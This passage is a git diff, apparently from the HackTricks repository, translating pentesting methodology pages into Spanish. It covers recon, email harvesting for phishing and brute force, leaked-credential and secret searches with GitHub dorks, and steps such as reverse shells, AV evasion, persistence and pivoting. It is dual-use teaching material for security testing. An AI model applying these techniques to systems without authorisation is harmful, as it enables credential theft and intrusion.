[**Segundo Ronda de Fuerza Bruta DNS**](./#second-dns-bruteforce-round) para más información). -With the resulting wordlists you could use tools such as [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **or** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** +Con las listas de palabras resultantes podrías usar herramientas como [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **o** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** -Remember that when looking for Cloud Assets you should l**ook for more than just buckets in AWS**. +Recuerda que al buscar Activos en la Nube debes **buscar más que solo buckets en AWS**. -### **Looking for vulnerabilities** +### **Buscando vulnerabilidades** -If you find things such as **open buckets or cloud functions exposed** you should **access them** and try to see what they offer you and if you can abuse them. +Si encuentras cosas como **buckets abiertos o funciones de nube expuestas** deberías **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas. -## Emails +## Correos Electrónicos -With the **domains** and **subdomains** inside the scope you basically have all what you **need to start searching for emails**. These are the **APIs** and **tools** that have worked the best for me to find emails of a company: +Con los **dominios** y **subdominios** dentro del alcance, básicamente tienes todo lo que **necesitas para comenzar a buscar correos electrónicos**. Estas son las **APIs** y **herramientas** que mejor me han funcionado para encontrar correos electrónicos de una empresa: -- [**theHarvester**](https://github.com/laramies/theHarvester) - with APIs -- API of [**https://hunter.io/**](https://hunter.io/) (free version) -- API of [**https://app.snov.io/**](https://app.snov.io/) (free version) -- API of [**https://minelead.io/**](https://minelead.io/) (free version) +- [**theHarvester**](https://github.com/laramies/theHarvester) - con APIs +- API de [**https://hunter.io/**](https://hunter.io/) (versión gratuita) +- API de [**https://app.snov.io/**](https://app.snov.io/) (versión gratuita) +- API de [**https://minelead.io/**](https://minelead.io/) (versión gratuita) -### **Looking for vulnerabilities** +### **Buscando vulnerabilidades** -Emails will come handy later to **brute-force web logins and auth services** (such as SSH). Also, they are needed for **phishings**. Moreover, these APIs will give you even more **info about the person** behind the email, which is useful for the phishing campaign. +Los correos electrónicos serán útiles más adelante para **fuerza bruta en inicios de sesión web y servicios de autenticación** (como SSH). Además, son necesarios para **phishings**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing. -## Credential Leaks +## Filtraciones de Credenciales -With the **domains,** **subdomains**, and **emails** you can start looking for credentials leaked in the past belonging to those emails: +Con los **dominios,** **subdominios** y **correos electrónicos** puedes comenzar a buscar credenciales filtradas en el pasado pertenecientes a esos correos electrónicos: - [https://leak-lookup.com](https://leak-lookup.com/account/login) - [https://www.dehashed.com/](https://www.dehashed.com/) -### **Looking for vulnerabilities** +### **Buscando vulnerabilidades** -If you find **valid leaked** credentials, this is a very easy win. +Si encuentras credenciales **filtradas válidas**, esto es una victoria muy fácil. -## Secrets Leaks +## Filtraciones de Secretos -Credential leaks are related to hacks of companies where **sensitive information was leaked and sold**. However, companies might be affected for **other leaks** whose info isn't in those databases: +Las filtraciones de credenciales están relacionadas con hacks de empresas donde **información sensible fue filtrada y vendida**. Sin embargo, las empresas pueden verse afectadas por **otras filtraciones** cuya información no está en esas bases de datos: -### Github Leaks +### Filtraciones de Github -Credentials and APIs might be leaked in the **public repositories** of the **company** or of the **users** working by that github company.\ -You can use the **tool** [**Leakos**](https://github.com/carlospolop/Leakos) to **download** all the **public repos** of an **organization** and of its **developers** and run [**gitleaks**](https://github.com/zricethezav/gitleaks) over them automatically. +Las credenciales y APIs pueden haber sido filtradas en los **repositorios públicos** de la **empresa** o de los **usuarios** que trabajan para esa empresa de github.\ +Puedes usar la **herramienta** [**Leakos**](https://github.com/carlospolop/Leakos) para **descargar** todos los **repos públicos** de una **organización** y de sus **desarrolladores** y ejecutar [**gitleaks**](https://github.com/zricethezav/gitleaks) sobre ellos automáticamente. -**Leakos** can also be used to run **gitleaks** agains all the **text** provided **URLs passed** to it as sometimes **web pages also contains secrets**. +**Leakos** también puede ser utilizado para ejecutar **gitleaks** contra todo el **texto** proporcionado **URLs pasadas** a él, ya que a veces **las páginas web también contienen secretos**. -#### Github Dorks +#### Dorks de Github -Check also this **page** for potential **github dorks** you could also search for in the organization you are attacking: +Consulta también esta **página** para posibles **dorks de github** que podrías buscar en la organización que estás atacando: {{#ref}} github-leaked-secrets.md {{#endref}} -### Pastes Leaks +### Filtraciones de Pastas -Sometimes attackers or just workers will **publish company content in a paste site**. This might or might not contain **sensitive information**, but it's very interesting to search for it.\ -You can use the tool [**Pastos**](https://github.com/carlospolop/Pastos) to search in more that 80 paste sites at the same time. +A veces, atacantes o simplemente trabajadores **publicarán contenido de la empresa en un sitio de paste**. Esto puede o no contener **información sensible**, pero es muy interesante buscarlo.\ +Puedes usar la herramienta [**Pastos**](https://github.com/carlospolop/Pastos) para buscar en más de 80 sitios de paste al mismo tiempo. -### Google Dorks +### Dorks de Google -Old but gold google dorks are always useful to find **exposed information that shouldn't be there**. The only problem is that the [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contains several **thousands** of possible queries that you cannot run manually. So, you can get your favourite 10 ones or you could use a **tool such as** [**Gorks**](https://github.com/carlospolop/Gorks) **to run them all**. +Los viejos pero buenos dorks de google siempre son útiles para encontrar **información expuesta que no debería estar allí**. El único problema es que la [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene varios **miles** de posibles consultas que no puedes ejecutar manualmente. Así que, puedes obtener tus 10 favoritas o podrías usar una **herramienta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para ejecutarlas todas**. -_Note that the tools that expect to run all the database using the regular Google browser will never end as google will block you very very soon._ +_Nota que las herramientas que esperan ejecutar toda la base de datos usando el navegador regular de Google nunca terminarán, ya que Google te bloqueará muy, muy pronto._ -### **Looking for vulnerabilities** +### **Buscando vulnerabilidades** -If you find **valid leaked** credentials or API tokens, this is a very easy win. +Si encuentras credenciales o tokens de API **filtrados válidos**, esto es una victoria muy fácil. -## Public Code Vulnerabilities +## Vulnerabilidades de Código Público -If you found that the company has **open-source code** you can **analyse** it and search for **vulnerabilities** on it. +Si encontraste que la empresa tiene **código de código abierto** puedes **analizarlo** y buscar **vulnerabilidades** en él. -**Depending on the language** there are different **tools** you can use: +**Dependiendo del lenguaje** hay diferentes **herramientas** que puedes usar: {{#ref}} ../../network-services-pentesting/pentesting-web/code-review-tools.md {{#endref}} -There are also free services that allow you to **scan public repositories**, such as: +También hay servicios gratuitos que te permiten **escanear repositorios públicos**, como: - [**Snyk**](https://app.snyk.io/) -## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/) +## [**Metodología de Pentesting Web**](../../network-services-pentesting/pentesting-web/) -The **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](../../network-services-pentesting/pentesting-web/). +La **mayoría de las vulnerabilidades** encontradas por cazadores de bugs residen dentro de **aplicaciones web**, así que en este punto me gustaría hablar sobre una **metodología de pruebas de aplicaciones web**, y puedes [**encontrar esta información aquí**](../../network-services-pentesting/pentesting-web/). -I also want to do a special mention to the section [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), as, if you shouldn't expect them to find you very sensitive vulnerabilities, they come handy to implement them on **workflows to have some initial web information.** +También quiero hacer una mención especial a la sección [**Herramientas de Escaneo Automático de Web de código abierto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ya que, si no deberías esperar que encuentren vulnerabilidades muy sensibles, son útiles para implementarlas en **flujos de trabajo para tener alguna información web inicial.** -## Recapitulation +## Recapitulación -> Congratulations! At this point you have already perform **all the basic enumeration**. Yes, it's basic because a lot more enumeration can be done (will see more tricks later). +> ¡Felicidades! En este punto ya has realizado **toda la enumeración básica**. Sí, es básica porque se puede hacer mucha más enumeración (veremos más trucos más adelante). -So you have already: +Así que ya has: -1. Found all the **companies** inside the scope -2. Found all the **assets** belonging to the companies (and perform some vuln scan if in scope) -3. Found all the **domains** belonging to the companies -4. Found all the **subdomains** of the domains (any subdomain takeover?) -5. Found all the **IPs** (from and **not from CDNs**) inside the scope. -6. Found all the **web servers** and took a **screenshot** of them (anything weird worth a deeper look?) -7. Found all the **potential public cloud assets** belonging to the company. -8. **Emails**, **credentials leaks**, and **secret leaks** that could give you a **big win very easily**. -9. **Pentesting all the webs you found** +1. Encontrado todas las **empresas** dentro del alcance +2. Encontrado todos los **activos** pertenecientes a las empresas (y realizado algún escaneo de vulnerabilidades si está en el alcance) +3. Encontrado todos los **dominios** pertenecientes a las empresas +4. Encontrado todos los **subdominios** de los dominios (¿alguna toma de subdominio?) +5. Encontrado todas las **IPs** (de y **no de CDNs**) dentro del alcance. +6. Encontrado todos los **servidores web** y tomado una **captura de pantalla** de ellos (¿algo extraño que valga la pena un examen más profundo?) +7. Encontrado todos los **activos potenciales de nube pública** pertenecientes a la empresa. +8. **Correos electrónicos**, **filtraciones de credenciales**, y **filtraciones de secretos** que podrían darte una **gran victoria muy fácilmente**. +9. **Pentesting todas las webs que encontraste** -## **Full Recon Automatic Tools** +## **Herramientas Automáticas de Reconocimiento Completo** -There are several tools out there that will perform part of the proposed actions against a given scope. +Hay varias herramientas que realizarán parte de las acciones propuestas contra un alcance dado. - [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) - [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) - [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) -- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - A little old and not updated +- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Un poco antigua y no actualizada -## **References** +## **Referencias** -- All free courses of [**@Jhaddix**](https://twitter.com/Jhaddix) like [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) - -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} +- Todos los cursos gratuitos de [**@Jhaddix**](https://twitter.com/Jhaddix) como [**La Metodología del Cazador de Bugs v4.0 - Edición Recon**](https://www.youtube.com/watch?v=p4JgIu1mceI) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md b/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md index 53e1f35e6..f9f8d7a18 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md @@ -2,18 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} -Now that we have built the list of assets of our scope it's time to search for some OSINT low-hanging fruits. +Ahora que hemos construido la lista de activos de nuestro alcance, es hora de buscar algunos frutos bajos de OSINT. -### Platforms that already searched for leaks +### Plataformas que ya buscaron filtraciones - [https://trufflesecurity.com/blog/introducing-forager/](https://trufflesecurity.com/blog/introducing-forager/) -### Api keys leaks in github +### Filtraciones de claves API en github - [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog) - [https://github.com/gitleaks/gitleaks](https://github.com/gitleaks/gitleaks) @@ -28,7 +25,6 @@ Now that we have built the list of assets of our scope it's time to search for s - [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ### **Dorks** - ```bash ".mlab.com password" "access_key" @@ -310,5 +306,4 @@ GCP SECRET AWS SECRET "private" extension:pgp ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index 55186e1f3..58f6394c4 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -1,18 +1,18 @@ -# Wide Source Code Search +# Búsqueda Amplia de Código Fuente {{#include ../../banners/hacktricks-training.md}} -The goal of this page is to enumerate **platforms that allow to search for code** (literal or regex) in across thousands/millions of repos in one or more platforms. +El objetivo de esta página es enumerar **plataformas que permiten buscar código** (literal o regex) en miles/millones de repos en una o más plataformas. -This helps in several occasions to **search for leaked information** or for **vulnerabilities** patterns. +Esto ayuda en varias ocasiones a **buscar información filtrada** o patrones de **vulnerabilidades**. -- [**SourceGraph**](https://sourcegraph.com/search): Search in millions of repos. There is a free version and an enterprise version (with 15 days free). It supports regexes. -- [**Github Search**](https://github.com/search): Search across Github. It supports regexes. - - Maybe it's also useful to check also [**Github Code Search**](https://cs.github.com/). -- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Search across Gitlab projects. Support regexes. -- [**SearchCode**](https://searchcode.com/): Search code in millions of projects. +- [**SourceGraph**](https://sourcegraph.com/search): Busca en millones de repos. Hay una versión gratuita y una versión empresarial (con 15 días gratis). Soporta regex. +- [**Github Search**](https://github.com/search): Busca en Github. Soporta regex. +- Tal vez también sea útil revisar [**Github Code Search**](https://cs.github.com/). +- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Busca en proyectos de Gitlab. Soporta regex. +- [**SearchCode**](https://searchcode.com/): Busca código en millones de proyectos. > [!WARNING] -> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +> Cuando busques filtraciones en un repo y ejecutes algo como `git log -p`, ¡no olvides que puede haber **otras ramas con otros commits** que contengan secretos! {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index ea6b7f6a7..6a31de906 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -1,146 +1,134 @@ -# Pentesting Methodology +# Metodología de Pentesting {{#include ../banners/hacktricks-training.md}} -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} - -## Pentesting Methodology +## Metodología de Pentesting
-_Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Los logotipos de Hacktricks fueron diseñados por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ -### 0- Physical Attacks +### 0- Ataques Físicos -Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](../hardware-physical-access/physical-attacks.md) and others about [**escaping from GUI applications**](../hardware-physical-access/escaping-from-gui-applications.md). +¿Tienes **acceso físico** a la máquina que deseas atacar? Deberías leer algunos [**trucos sobre ataques físicos**](../hardware-physical-access/physical-attacks.md) y otros sobre [**escapar de aplicaciones GUI**](../hardware-physical-access/escaping-from-gui-applications.md). -### 1 - [Discovering hosts inside the network ](pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/) +### 1 - [Descubriendo hosts dentro de la red](pentesting-network/#discovering-hosts)/ [Descubriendo Activos de la empresa](external-recon-methodology/) -**Depending** if the **test** you are perform is an **internal or external test** you may be interested on finding **hosts inside the company network** (internal test) or **finding assets of the company on the internet** (external test). +**Dependiendo** si la **prueba** que estás realizando es una **prueba interna o externa**, puede que te interese encontrar **hosts dentro de la red de la empresa** (prueba interna) o **encontrar activos de la empresa en internet** (prueba externa). > [!NOTE] -> Note that if you are performing an external test, once you manage to obtain access to the internal network of the company you should re-start this guide. +> Ten en cuenta que si estás realizando una prueba externa, una vez que logres obtener acceso a la red interna de la empresa, deberías reiniciar esta guía. -### **2-** [**Having Fun with the network**](pentesting-network/) **(Internal)** +### **2-** [**Divirtiéndote con la red**](pentesting-network/) **(Interna)** -**This section only applies if you are performing an internal test.**\ -Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively(MitM)** what can you find inside the network. You can read [**Pentesting Network**](pentesting-network/#sniffing). +**Esta sección solo se aplica si estás realizando una prueba interna.**\ +Antes de atacar un host, tal vez prefieras **robar algunas credenciales** **de la red** o **snifar** algunos **datos** para aprender **pasivamente/activamente (MitM)** qué puedes encontrar dentro de la red. Puedes leer [**Pentesting Network**](pentesting-network/#sniffing). -### 3- [Port Scan - Service discovery](pentesting-network/#scanning-hosts) +### 3- [Escaneo de Puertos - Descubrimiento de servicios](pentesting-network/#scanning-hosts) -The first thing to do when **looking for vulnerabilities in a host** is to know which **services are running** in which ports. Let's see the[ **basic tools to scan ports of hosts**](pentesting-network/#scanning-hosts). +Lo primero que debes hacer al **buscar vulnerabilidades en un host** es saber qué **servicios están corriendo** en qué puertos. Veamos las [**herramientas básicas para escanear puertos de hosts**](pentesting-network/#scanning-hosts). -### **4-** [Searching service version exploits](../generic-hacking/search-exploits.md) +### **4-** [Buscando exploits de versiones de servicio](../generic-hacking/search-exploits.md) -Once you know which services are running, and maybe their version, you have to **search for known vulnerabilities**. Maybe you get lucky and there is a exploit to give you a shell... +Una vez que sepas qué servicios están corriendo, y tal vez su versión, debes **buscar vulnerabilidades conocidas**. Tal vez tengas suerte y haya un exploit que te dé una shell... -### **5-** Pentesting Services +### **5-** Servicios de Pentesting -If there isn't any fancy exploit for any running service, you should look for **common misconfigurations in each service running.** +Si no hay ningún exploit interesante para algún servicio en ejecución, deberías buscar **configuraciones incorrectas comunes en cada servicio en ejecución.** -**Inside this book you will find a guide to pentest the most common services** (and others that aren't so common)**. Please, search in the left index the** _**PENTESTING**_ **section** (the services are ordered by their default ports). +**Dentro de este libro encontrarás una guía para pentestear los servicios más comunes** (y otros que no son tan comunes)**. Por favor, busca en el índice de la izquierda la sección _**PENTESTING**_ (los servicios están ordenados por sus puertos predeterminados). -**I want to make a special mention of the** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **part (as it is the most extensive one).**\ -Also, a small guide on how to[ **find known vulnerabilities in software**](../generic-hacking/search-exploits.md) can be found here. +**Quiero hacer una mención especial a la parte de** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(ya que es la más extensa).**\ +Además, aquí puedes encontrar una pequeña guía sobre cómo [**encontrar vulnerabilidades conocidas en software**](../generic-hacking/search-exploits.md). -**If your service is not inside the index, search in Google** for other tutorials and **let me know if you want me to add it.** If you **can't find anything** in Google, perform your **own blind pentesting**, you could start by **connecting to the service, fuzzing it and reading the responses** (if any). +**Si tu servicio no está en el índice, busca en Google** otros tutoriales y **déjame saber si quieres que lo agregue.** Si **no puedes encontrar nada** en Google, realiza tu **propio pentesting ciego**, podrías comenzar por **conectarte al servicio, fuzzing y leyendo las respuestas** (si las hay). -#### 5.1 Automatic Tools +#### 5.1 Herramientas Automáticas -There are also several tools that can perform **automatic vulnerabilities assessments**. **I would recommend you to try** [**Legion**](https://github.com/carlospolop/legion)**, which is the tool that I have created and it's based on the notes about pentesting services that you can find in this book.** +También hay varias herramientas que pueden realizar **evaluaciones automáticas de vulnerabilidades**. **Te recomendaría probar** [**Legion**](https://github.com/carlospolop/legion)**, que es la herramienta que he creado y se basa en las notas sobre pentesting de servicios que puedes encontrar en este libro.** -#### **5.2 Brute-Forcing services** +#### **5.2 Fuerza Bruta en servicios** -In some scenarios a **Brute-Force** could be useful to **compromise** a **service**. [**Find here a CheatSheet of different services brute forcing**](../generic-hacking/brute-force.md)**.** +En algunos escenarios, un **Brute-Force** podría ser útil para **comprometer** un **servicio**. [**Encuentra aquí una CheatSheet de diferentes servicios de fuerza bruta**](../generic-hacking/brute-force.md)**.** ### 6- [Phishing](phishing-methodology/) -If at this point you haven't found any interesting vulnerability you **may need to try some phishing** in order to get inside the network. You can read my phishing methodology [here](phishing-methodology/): +Si en este punto no has encontrado ninguna vulnerabilidad interesante, **puedes necesitar intentar algún phishing** para entrar en la red. Puedes leer mi metodología de phishing [aquí](phishing-methodology/): -### **7-** [**Getting Shell**](../generic-hacking/reverse-shells/) +### **7-** [**Obteniendo Shell**](../generic-hacking/reverse-shells/) -Somehow you should have found **some way to execute code** in the victim. Then, [a list of possible tools inside the system that you can use to get a reverse shell would be very useful](../generic-hacking/reverse-shells/). +De alguna manera deberías haber encontrado **alguna forma de ejecutar código** en la víctima. Entonces, [una lista de posibles herramientas dentro del sistema que puedes usar para obtener una reverse shell sería muy útil](../generic-hacking/reverse-shells/). -Specially in Windows you could need some help to **avoid antiviruses**: [**Check this page**](../windows-hardening/av-bypass.md)**.**\\ +Especialmente en Windows, podrías necesitar ayuda para **evitar antivirus**: [**Revisa esta página**](../windows-hardening/av-bypass.md)**.**\\ -### 8- Inside +### 8- Dentro -If you have troubles with the shell, you can find here a small **compilation of the most useful commands** for pentesters: +Si tienes problemas con la shell, aquí puedes encontrar una pequeña **compilación de los comandos más útiles** para pentesters: - [**Linux**](../linux-hardening/useful-linux-commands.md) - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) - [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/) -### **9 -** [**Exfiltration**](../generic-hacking/exfiltration.md) +### **9 -** [**Exfiltración**](../generic-hacking/exfiltration.md) -You will probably need to **extract some data from the victim** or even **introduce something** (like privilege escalation scripts). **Here you have a** [**post about common tools that you can use with these purposes**](../generic-hacking/exfiltration.md)**.** +Probablemente necesitarás **extraer algunos datos de la víctima** o incluso **introducir algo** (como scripts de escalada de privilegios). **Aquí tienes un** [**post sobre herramientas comunes que puedes usar con estos propósitos**](../generic-hacking/exfiltration.md)**.** -### **10- Privilege Escalation** +### **10- Escalada de Privilegios** -#### **10.1- Local Privesc** +#### **10.1- Privesc Local** -If you are **not root/Administrator** inside the box, you should find a way to **escalate privileges.**\ -Here you can find a **guide to escalate privileges locally in** [**Linux**](../linux-hardening/privilege-escalation/) **and in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ -You should also check this pages about how does **Windows work**: +Si no eres **root/Administrador** dentro de la máquina, deberías encontrar una manera de **escalar privilegios.**\ +Aquí puedes encontrar una **guía para escalar privilegios localmente en** [**Linux**](../linux-hardening/privilege-escalation/) **y en** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ +También deberías revisar estas páginas sobre cómo funciona **Windows**: -- [**Authentication, Credentials, Token privileges and UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) -- How does [**NTLM works**](../windows-hardening/ntlm/) -- How to [**steal credentials**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows -- Some tricks about [_**Active Directory**_](../windows-hardening/active-directory-methodology/) +- [**Autenticación, Credenciales, Privilegios de Token y UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) +- Cómo funciona [**NTLM**](../windows-hardening/ntlm/) +- Cómo [**robar credenciales**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) en Windows +- Algunos trucos sobre [_**Active Directory**_](../windows-hardening/active-directory-methodology/) -**Don't forget to checkout the best tools to enumerate Windows and Linux local Privilege Escalation paths:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**No olvides revisar las mejores herramientas para enumerar rutas de Escalación de Privilegios locales en Windows y Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) -#### **10.2- Domain Privesc** +#### **10.2- Privesc de Dominio** -Here you can find a [**methodology explaining the most common actions to enumerate, escalate privileges and persist on an Active Directory**](../windows-hardening/active-directory-methodology/). Even if this is just a subsection of a section, this process could be **extremely delicate** on a Pentesting/Red Team assignment. +Aquí puedes encontrar una [**metodología que explica las acciones más comunes para enumerar, escalar privilegios y persistir en un Active Directory**](../windows-hardening/active-directory-methodology/). Aunque esto es solo una subsección de una sección, este proceso podría ser **extremadamente delicado** en una asignación de Pentesting/Red Team. ### 11 - POST -#### **11**.1 - Looting +#### **11**.1 - Saqueo -Check if you can find more **passwords** inside the host or if you have **access to other machines** with the **privileges** of your **user**.\ -Find here different ways to [**dump passwords in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). +Verifica si puedes encontrar más **contraseñas** dentro del host o si tienes **acceso a otras máquinas** con los **privilegios** de tu **usuario**.\ +Encuentra aquí diferentes formas de [**extraer contraseñas en Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). -#### 11.2 - Persistence +#### 11.2 - Persistencia -**Use 2 or 3 different types of persistence mechanism so you won't need to exploit the system again.**\ -**Here you can find some** [**persistence tricks on active directory**](../windows-hardening/active-directory-methodology/#persistence)**.** +**Usa 2 o 3 tipos diferentes de mecanismos de persistencia para que no necesites explotar el sistema nuevamente.**\ +**Aquí puedes encontrar algunos** [**trucos de persistencia en active directory**](../windows-hardening/active-directory-methodology/#persistence)**.** -TODO: Complete persistence Post in Windows & Linux +TODO: Completar persistencia Post en Windows y Linux ### 12 - Pivoting -With the **gathered credentials** you could have access to other machines, or maybe you need to **discover and scan new hosts** (start the Pentesting Methodology again) inside new networks where your victim is connected.\ -In this case tunnelling could be necessary. Here you can find [**a post talking about tunnelling**](../generic-hacking/tunneling-and-port-forwarding.md).\ -You definitely should also check the post about [Active Directory pentesting Methodology](../windows-hardening/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials.\ -Check also the page about [**NTLM**](../windows-hardening/ntlm/), it could be very useful to pivot on Windows environments.. +Con las **credenciales recopiladas** podrías tener acceso a otras máquinas, o tal vez necesites **descubrir y escanear nuevos hosts** (comenzar la Metodología de Pentesting nuevamente) dentro de nuevas redes donde tu víctima está conectada.\ +En este caso, el tunneling podría ser necesario. Aquí puedes encontrar [**un post que habla sobre tunneling**](../generic-hacking/tunneling-and-port-forwarding.md).\ +Definitivamente también deberías revisar el post sobre [Metodología de pentesting de Active Directory](../windows-hardening/active-directory-methodology/). Allí encontrarás trucos interesantes para moverte lateralmente, escalar privilegios y extraer credenciales.\ +Revisa también la página sobre [**NTLM**](../windows-hardening/ntlm/), podría ser muy útil para pivotar en entornos de Windows. -### MORE +### MÁS -#### [Android Applications](../mobile-pentesting/android-app-pentesting/) +#### [Aplicaciones Android](../mobile-pentesting/android-app-pentesting/) -#### **Exploiting** +#### **Explotación** -- [**Basic Linux Exploiting**](broken-reference/) -- [**Basic Windows Exploiting**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [**Basic exploiting tools**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) +- [**Explotación Básica en Linux**](broken-reference/) +- [**Explotación Básica en Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) +- [**Herramientas básicas de explotación**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) -#### [**Basic Python**](python/) +#### [**Python Básico**](python/) -#### **Crypto tricks** +#### **Trucos de Cripto** - [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md) - [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) - [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md) -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index 1f4bb741f..502420ed6 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -2,83 +2,69 @@ {{#include ../../banners/hacktricks-training.md}} -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} -## Discovering hosts from the outside +## Descubriendo hosts desde el exterior -This is going to be a **brief section** about how to find **IPs responding** from the **Internet**.\ -In this situation you have some **scope of IPs** (maybe even several **ranges**) and you just to find **which IPs are responding**. +Esta va a ser una **sección breve** sobre cómo encontrar **IPs que responden** desde el **Internet**.\ +En esta situación tienes un **rango de IPs** (quizás incluso varios **rangos**) y solo necesitas encontrar **qué IPs están respondiendo**. ### ICMP -This is the **easiest** and **fastest** way to discover if a host is up or not.\ -You could try to send some **ICMP** packets and **expect responses**. The easiest way is just sending an **echo request** and expect from the response. You can do that using a simple `ping`or using `fping`for **ranges**.\ -You could also use **nmap** to send other types of ICMP packets (this will avoid filters to common ICMP echo request-response). - +Esta es la forma **más fácil** y **rápida** de descubrir si un host está activo o no.\ +Podrías intentar enviar algunos paquetes de **ICMP** y **esperar respuestas**. La forma más sencilla es simplemente enviar una **solicitud de eco** y esperar la respuesta. Puedes hacer eso usando un simple `ping` o usando `fping` para **rangos**.\ +También podrías usar **nmap** para enviar otros tipos de paquetes ICMP (esto evitará filtros a la solicitud-respuesta de eco ICMP común). ```bash ping -c 1 199.66.11.4 # 1 echo request to a host fping -g 199.66.11.0/24 # Send echo requests to ranges nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests ``` +### Descubrimiento de Puertos TCP -### TCP Port Discovery - -It's very common to find that all kind of ICMP packets are being filtered. Then, all you can do to check if a host is up is **try to find open ports**. Each host has **65535 ports**, so, if 